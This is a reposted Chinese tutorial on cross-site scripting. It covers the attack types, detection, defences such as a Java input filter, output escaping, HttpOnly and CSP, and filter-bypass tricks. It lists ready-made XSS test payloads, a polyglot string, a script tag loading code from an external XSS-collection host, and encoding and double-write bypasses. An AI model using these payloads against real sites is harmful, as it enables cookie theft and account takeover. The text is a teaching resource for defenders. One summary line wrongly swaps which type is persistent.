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[点晴永久免费OA]XSS的攻击原理与防御原理

admin
2020年4月8日 11:13 本文热度 3034
xss又称跨站脚本攻击,原称为css(Cross-Site Scripting),因为和层叠样式表(Cascading Style Sheets)重名,所以又称为xss(x一般有未知的含义,还有扩展的含义)。

XSS的攻击原理
xss攻击涉及到了攻击者,用户和web server。主要是利用了网站本身设计的不严谨性,攻击者通过对网页插入恶意的攻击脚本,导致当用户在浏览网页的时候,嵌入其中的攻击脚本就会被执行,从而达到恶意攻击用户的特殊目的。攻击者通过xss攻击,可以获取到用户的cookie,然后发送给攻击者想要攻击的网站,因为跨站了,所以也称为跨站脚本攻击。

XSS的分类
根据攻击的来源,xss攻击的分类主要分为:反射型xss、存储型xss和DOM型xss三种。

反射型xss
反射型xss,也叫“非持久型xss”。用户点击攻击链接,触发了恶意脚本,服务器解析后响应,在返回的响应内容中出现攻击者的xss代码,被浏览器执行。一来一去,xss攻击脚本被web server反射回来给浏览器执行,所以称为反射型xss。

反射型xss的攻击步骤:

1、攻击者构造出特殊的URL,其中包含恶意代码;

2、用户打开带有恶意代码的URL时,网站服务端将恶意代码从URL中取出,拼接在HTML中返回给浏览器;

3、用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行;

4、恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

特点:

1、攻击脚本非持久性,没有保存在web server中,而是直接出现在了URL地址中;

2、反射型xss漏洞常见于通过URL传递参数的功能,如网站搜索、跳转等;

3、由于需要用户主动打开恶意的URL才能生效,攻击者往往会结合多种手段诱导用户点击。一般通过邮件、社交软件等方式直接发送攻击URL,通过用户的点击来达到攻击目的的。

POST的内容也可以触发反射型xss,只不过其触发条件比较苛刻,需要构造表单提交页面,并引导用户点击,所以非常少见。

存储型xss
存储型xss,也叫“持久型xss”,相比反射型xss,存储型xss是把恶意脚本保存到了web server中的,这种攻击具有较强的稳定性和持久性,危害性也更大。这样每一个访问特定网页的用户,都会受到攻击。

存储型xss的攻击步骤:

1、攻击者将恶意代码提交到目标网站的数据库中;

2、用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在HTML中返回给浏览器;

3、用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行;

4、恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

特点:

1、攻击脚本持久性,保存在web server中;

2、这种攻击常见于带有用户保存数据的网站功能,一般通过论坛发帖、商品评论、用户私信等功能(所有能够向web server输入内容的地方),将攻击脚本存储到web server中。

有时候反射型xss和存储型xss是同时使用的,比如:先通过对一个攻击url进行编码(来绕过xss filter),提交到web server(存储在web server中),然后用户在浏览页面时,如果点击该url,就会触发一个xss攻击。当然用户点击该url时,也可能会触发一个CSRF(Cross site request forgery)攻击。

DOM型xss
DOM(Document Object Model) --based 漏洞是基于文档对象模型的一种漏洞,通过修改页面的DOM节点而形成的xss漏洞。

DOM型xss的攻击步骤:

1、攻击者构造出特殊的URL,其中包含恶意代码。

2、用户打开带有恶意代码的URL。

3、用户浏览器接收到响应后解析执行,前端JavaScript取出URL中的恶意代码并执行。

4、恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

特点:

1、攻击脚本不与服务端交互的,只与客户端上的js交互,攻击脚本放到了js中执行,然后显示出来;

2、DOM型xss也是一种反射型xss。

小结
反射型xss跟存储型xss的区别是:存储型xss非持久性,攻击脚本存在服务器里,反射型xss持久性,攻击脚本存在URL里。

DOM型xss跟前两种xss的区别:DOM型xss,是通过修改页面的DOM节点来形成xss的,取出和执行恶意代码由浏览器端完成,属于前端JavaScript自身的安全漏洞,而其他两种xss都属于服务端的安全漏洞。

类型 存储区 插入点
存储型 XSS 后端数据库 HTML
反射型 XSS URL HTML
DOM型 XSS 后端数据库/前端存储/URL 前端 JavaScript
XSS漏洞的检测
xss探针
xss探针可检测出网站有没有对xss漏洞做最基础的防御。

在测试xss的位置写入代码,查看页面源码,看看哪些代码被过滤或者转义了。

'''';!--"<XSS>=&{()}
1
xss语句
除了xss探针以外,还可以输入最简单的测试语句

<script>alert(/xss/)</script>
1
如果插入的语句原封不动的呈现在了浏览器中,那么说明:

代码没有被过滤,存在xss;
代码没有被执行,因为没有闭合类似textarea标签,可以查看下源码。
常用的xss检测语句
<script>alert(/xss/);</script>
<script>alert(/xss/)//
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分号,也可以分号+空格(回车一起使用)
<img src=1 onmouseover=alert(1)>
<a herf=1 onload=alert(1)>nmask</a>
<script>window.a==1?1:prompt(a=1)</script>
<script>a=prompt;a(1)</script>
<img src=0 onerror=confirm(''1'')>
<script>alert(1)</script>
<script src="http://xsspt.com/vA4t1W?1542101296"></script>
<img src=x onerror=alert(1)>
<a href="javascript:alert(1)">xss</a>
<svg onload=alert(1)>
<input type="text" name="test" onclick=alert(1)>
<iframe src="javascript:alert(/xss/)">xss</iframe>
<iframe srcdoc="<script>alert&#40;1&#41;</script>">

使用GIthub上的终极xss工具
?传送门

jaVasCript:/*-/*`/*\`/*''/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
1
它能够检测到存在于HTML属性、HTML文字内容、HTML注释、跳转链接、内联JavaScript字符串、内联CSS 样式表等多种上下文中的XSS漏洞,也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write()等DOMXSS漏洞,并且能绕过一些XSS过滤器。

只要在网站的各输入框中提交这个字符串,或者把它拼接到URL参数上,就可以进行检测了。

自动化扫描工具
除了手动检测之外,还可以使用自动扫描工具寻找xss漏洞,例如 Arachni、Mozilla HTTP Observatory、w3af 等。

XSS产生的原因
xss存在的根本原因是,对URL中的参数,对用户输入提交给web server的内容,没有进行充分的过滤。如果我们能够在web程序中,对用户提交的URL中的参数,和提交的所有内容,进行充分的过滤,将所有的不合法的参数和输入内容过滤掉,那么就不会导致在用户的浏览器中执行攻击者自己定制的脚本。

但是,其实充分而完全的过滤,实际上是无法实现的。因为攻击者有各种各样的神奇的,你完全想象不到的方式来绕过服务器端的过滤,最典型的就是对URL和参数进行各种的编码,比如escape,encodeURI,encodeURIComponent,8进制,10进制,16进制,来绕过xss过滤。那么我们如何来防御xss呢?

XSS攻击的防御
XSS 攻击有两大要素:

1、攻击者提交恶意代码。

2、浏览器执行恶意代码。

比较常规的思路是:对输入和URL参数进行过滤,对输出进行编码。也就是对提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容。然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。虽然对输入过滤可以被绕过,但是也还是会拦截很大一部分的xss攻击。

XSS filter
对输入和URL参数进行过滤(黑白名单),常用的xss filter的实现代码:

public class XssFilter implements Filter {

    public void init(FilterConfig config) throws ServletException {}

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
            throws IOException, ServletException {
        XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest)request);
        chain.doFilter(xssRequest, response);
    }

    public void destroy() {}
}

public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
    HttpServletRequest orgRequest = null;

    public XssHttpServletRequestWrapper(HttpServletRequest request) {
        super(request);
        orgRequest = request;
    }
    /**
     * 覆盖getParameter方法,将参数名和参数值都做xss过滤。<br/>
     * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取<br/>
     * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖
     */
    @Override
    public String getParameter(String name) {
        String value = super.getParameter(xssEncode(name));
        if (value != null) {
            value = xssEncode(value);
        }
        return value;
    }
    /**
     * 覆盖getHeader方法,将参数名和参数值都做xss过滤。<br/>
     * 如果需要获得原始的值,则通过super.getHeaders(name)来获取<br/>
     * getHeaderNames 也可能需要覆盖
     */
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(xssEncode(name));
        if (value != null) {
            value = xssEncode(value);
        }
        return value;
    }
    /**
     * 将容易引起xss漏洞的半角字符直接替换成全角字符
     *
     * @param s
     * @return
     */
    private static String xssEncode(String s) {
        if (s == null || s.isEmpty()) {
            return s;
        }
        StringBuilder sb = new StringBuilder(s.length() + 16);
        for (int i = 0; i < s.length(); i++) {
            char c = s.charAt(i);
            switch (c) {
            case ''>'':
                sb.append(''>'');// 全角大于号
                break;
            case ''<'':
                sb.append(''<'');// 全角小于号
                break;
            case ''\'''':
                sb.append(''‘'');// 全角单引号
                break;
            case ''\"'':
                sb.append(''“'');// 全角双引号
                break;
            case ''&'':
                sb.append(''&'');// 全角
                break;
            case ''\\'':
                sb.append(''\'');// 全角斜线
                break;
            case ''#'':
                sb.append(''#'');// 全角井号
                break;
            case ''%'':    // < 字符的 URL 编码形式表示的 ASCII 字符(十六进制格式) 是: %3c
                processUrlEncoder(sb, s, i);
                break;
            default:
                sb.append(c);
                break;
            }
        }
        return sb.toString();
    }
    public static void processUrlEncoder(StringBuilder sb, String s, int index){
        if(s.length() >= index + 2){
            if(s.charAt(index+1) == ''3'' && (s.charAt(index+2) == ''c'' || s.charAt(index+2) == ''C'')){    // %3c, %3C
                sb.append(''<'');
                return;
            }
            if(s.charAt(index+1) == ''6'' && s.charAt(index+2) == ''0''){    // %3c (0x3c=60)
                sb.append(''<'');
                return;
            }            
            if(s.charAt(index+1) == ''3'' && (s.charAt(index+2) == ''e'' || s.charAt(index+2) == ''E'')){    // %3e, %3E
                sb.append(''>'');
                return;
            }
            if(s.charAt(index+1) == ''6'' && s.charAt(index+2) == ''2''){    // %3e (0x3e=62)
                sb.append(''>'');
                return;
            }
        }
        sb.append(s.charAt(index));
    }
    /**
     * 获取最原始的request
     *
     * @return
     */
    public HttpServletRequest getOrgRequest() {
        return orgRequest;
    }
    /**
     * 获取最原始的request的静态方法
     *
     * @return
     */
    public static HttpServletRequest getOrgRequest(HttpServletRequest req) {
        if (req instanceof XssHttpServletRequestWrapper) {
            return ((XssHttpServletRequestWrapper) req).getOrgRequest();
        }
        return req;
    }
}

然后在web.xml中配置该filter:

<filter>
        <filter-name>xssFilter</filter-name>
        <filter-class>com.xxxxxx.filter.XssFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>xssFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

主要的思路就是将容易导致XSS攻击的边角字符替换成全角字符。<和>是脚本执行和各种html标签需要的,比如 <script>,&和 #以及 %在对URL编码试图绕过xss filter时,会出现。我们说对输入的过滤分为白名单和黑名单。上面的xss filter就是一种黑名单的过滤,黑名单就是列出不能出现的对象的清单,一旦出现就进行处理。还有一种白名单的过滤,白名单就是列出可被接受的内容,比如规定所有的输入只能是大小写的26个英文字母和10个数字,还有-和_,所有其他的输入都是非法的,会被抛弃掉。很显然如此严格的白名单是可以100%拦截所有的xss攻击的,但是现实情况一般是不能进行如此严格的白名单过滤的。

对于输入,处理使用xss filter之外,对于每一个输入,在客户端和服务器端还要进行各种验证,验证是否合法字符,长度是否合法,格式是否正确。在客户端和服务端都要进行验证,因为客户端的验证很容易被绕过。其实这种验证也分为了黑名单和白名单。黑名单的验证就是不能出现某些字符,白名单的验证就是只能出现某些字符。尽量使用白名单,虽然白名单无法完全杜绝xss,但是使用不当的话可能会带来很高的误报率。

存储型和反射型XSS攻击的防御
存储型和反射型xss都是在服务端取出恶意代码后,插入到响应HTML里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。

预防这两种漏洞,有两种常见做法:

改成纯前端渲染,把代码和数据分隔开。
纯前端渲染的过程:

1、浏览器先加载一个静态HTML,此HTML中不包含任何跟业务相关的数据。

2、然后浏览器执行HTML中的JavaScript。

3、JavaScript通过Ajax加载业务数据,调用DOM API更新到页面上。

在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本.innerText,还是属性.setAttribute,还是样式.style等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。

但纯前端渲染还需注意避免DOM型xss漏洞,例如 onload 事件和 href 中的 javascript:xxx 等。在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接HTML的问题。

对HTML做充分转义。
如果拼接HTML是必要的,就需要采用合适的转义库,对HTML模板各处插入点进行充分的转义。

对于HTML转义通常只有一个规则,就是把 & < > " '' / 这几个字符转义掉,确实能起到一定的xss防护作用,但并不完善。要完善xss防护措施,要使用更完善更细致的转义策略。例如Java工程里,常用的转义库为 org.owasp.encoder。

XSS 安全漏洞 简单转义是否有防护作用
HTML 标签文字内容
HTML 属性值
CSS 内联样式
内联 JavaScript
内联 JSON
跳转链接
在输出数据之前对潜在的威胁的字符进行编码、转义对xss攻击能起到一定的防御作用。

对所有要动态输出到页面的内容,通通进行相关的编码和转义。当然转义是按照其输出的上下文环境来决定如何转义的。

作为body文本输出,html标签的属性输出,比如:

<span>${username}</span>
<p><c:out value="${username}"></c:out></p>
<input type="text" value="${username}" />

此时的转义规则如下:

<转成 &lt;  >转成 &gt;  & 转成 &amp;  "转成 &quot;

''转成 &#39  \转成\\   /转成 \/  ;转成 ;(全角;)

javascript事件

<input type="button" οnclick=''go_to_url("${myUrl}");'' />

URL属性

如果 <script>、<style>、<imt>等标签的 src 和 href 属性值为动态内容,那么要确保这些URL没有执行恶意连接。确保:href和 src的值必须以 http://开头,白名单方式;不能有10进制和16进制编码字符。

DOM型XSS攻击的防御
DOM型xss攻击,实际上就是网站前端JavaScript代码本身不够严谨,把不可信的数据当作代码执行了。

在使用 .innerHTML、.outerHTML、document.write() 时要特别小心,不要把不可信的数据作为HTML插到页面上,而应尽量使用 .textContent、.setAttribute() 等。

如果用Vue/React技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端render阶段避免 innerHTML、outerHTML 的xss隐患。

DOM中的内联事件监听器,如 location、onclick、onerror、onload、onmouseover 等,<a> 标签的 href 属性,JavaScript的 eval()、setTimeout()、setInterval()等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些API,很容易产生安全隐患,请务必避免。

<!-- 内联事件监听器中包含恶意代码 --> 
 < img   onclick = "UNTRUSTED"   onerror = "UNTRUSTED"   src = "data:image/png," > 
 <!-- 链接内包含恶意代码 --> 
 < a   href = "UNTRUSTED" > 1 </ a > 
 < script >  
 // setTimeout()/setInterval() 中调用恶意代码 
setTimeout( "UNTRUSTED" )
setInterval( "UNTRUSTED" )
 // location 调用恶意代码 
location.href =  ''UNTRUSTED'' 
 // eval() 中调用恶意代码 
 eval ( "UNTRUSTED" )
  </ script > 

其他xss攻击的防御
HttpOnly
xss一般利用js脚本读取用户浏览器中的Cookie,而如果在服务器端对 Cookie 设置了HttpOnly 属性,那么js脚本将无法读取到cookie,但是浏览器还是能够正常使用cookie,这样能有效的防止xss的攻击。

一般的Cookie都是从document对象中获得的,现在浏览器在设置 Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的 document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。

Content Security Policy(内容安全策略)
严格的CSP在XSS的防范中可以起到以下的作用:

禁止加载外域代码,防止复杂的攻击逻辑。

禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。

禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。

禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。

合理使用上报可以及时发现 XSS,利于尽快修复问题。

输入内容长度控制
对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止xss发生,但可以增加xss攻击的难度。

小结
XSS攻击防御方法:XSS filter;纯前端渲染,数据分离;HTML转义;设置HttpOnly属性;设置CSP;限制输入内容的长度

XSS绕过的技巧
有xss防御便会有xss绕过防御姿势,这是攻与防不断博弈的表现与成果。

大小写绕过
<Script>alert(1)</Script>

双写绕
<scrscriptipt>alert(1)</scrscriptipt>

替换绕过
过滤 alert 用prompt,confirm,top[''alert''](1)代替绕过过滤() 用``代替绕过过滤空格 用%0a(换行符),%0d(回车符),/**/代替绕过小写转大写情况下 字符ſ大写后为S(ſ不等于s)

%00截断绕过
<a href=javascr%00ipt:alert(1)>xss</a>

编码绕过
实体编码
javascrip&#x74;:alert(1) 十六进制
javascrip&#116;:alert(1) 十进制

unicode编码
javascrip\u0074:alert(1)

url编码
javascrip%74:alert(1)

fromCharCode方法绕过
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)
eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))

javascript伪协议绕过
无法闭合双引号的情况下,就无法使用onclick等事件,只能伪协议绕过,或者调用外部js

换行绕过正则匹配
onmousedown
=alert(1)

注释符
// 单行注释
<!-- --!> 注释多行内容
<!-- --> 注释多行内容
<-- --> 注释多行内容
<-- --!> 注释多行内容
--> 单行注释后面内容
/* */ 多行注释
有时还可以利用浏览器的容错性,不需要注释

闭合标签空格绕过
</style ><script>alert(1)</script>

@符号绕过url限制
https://www.segmentfault.com@xss.haozi.me/j.js

其实访问的是@后面的内容

")逃逸函数后接分号
");alert(1)//

\绕过转义限制
\")
alert(1) //

XSS练习平台

以下是几个XSS攻击小游戏,开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入,完成 XSS 攻击即可通关。

alert(1) to win   prompt(1) to win   XSS game  XSS Challenges

参考资料
前端安全系列(一):如何防止XSS攻击?
浅谈跨站脚本攻击与防御
面试问题如何预防xss攻击
xss攻击原理与解决方法
XSS攻击及预防
OWASP Top 10 - 2017
————————————————
版权声明:本文为CSDN博主「小晓晓晓林」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。

该文章在 2020/4/8 11:13:59 编辑过
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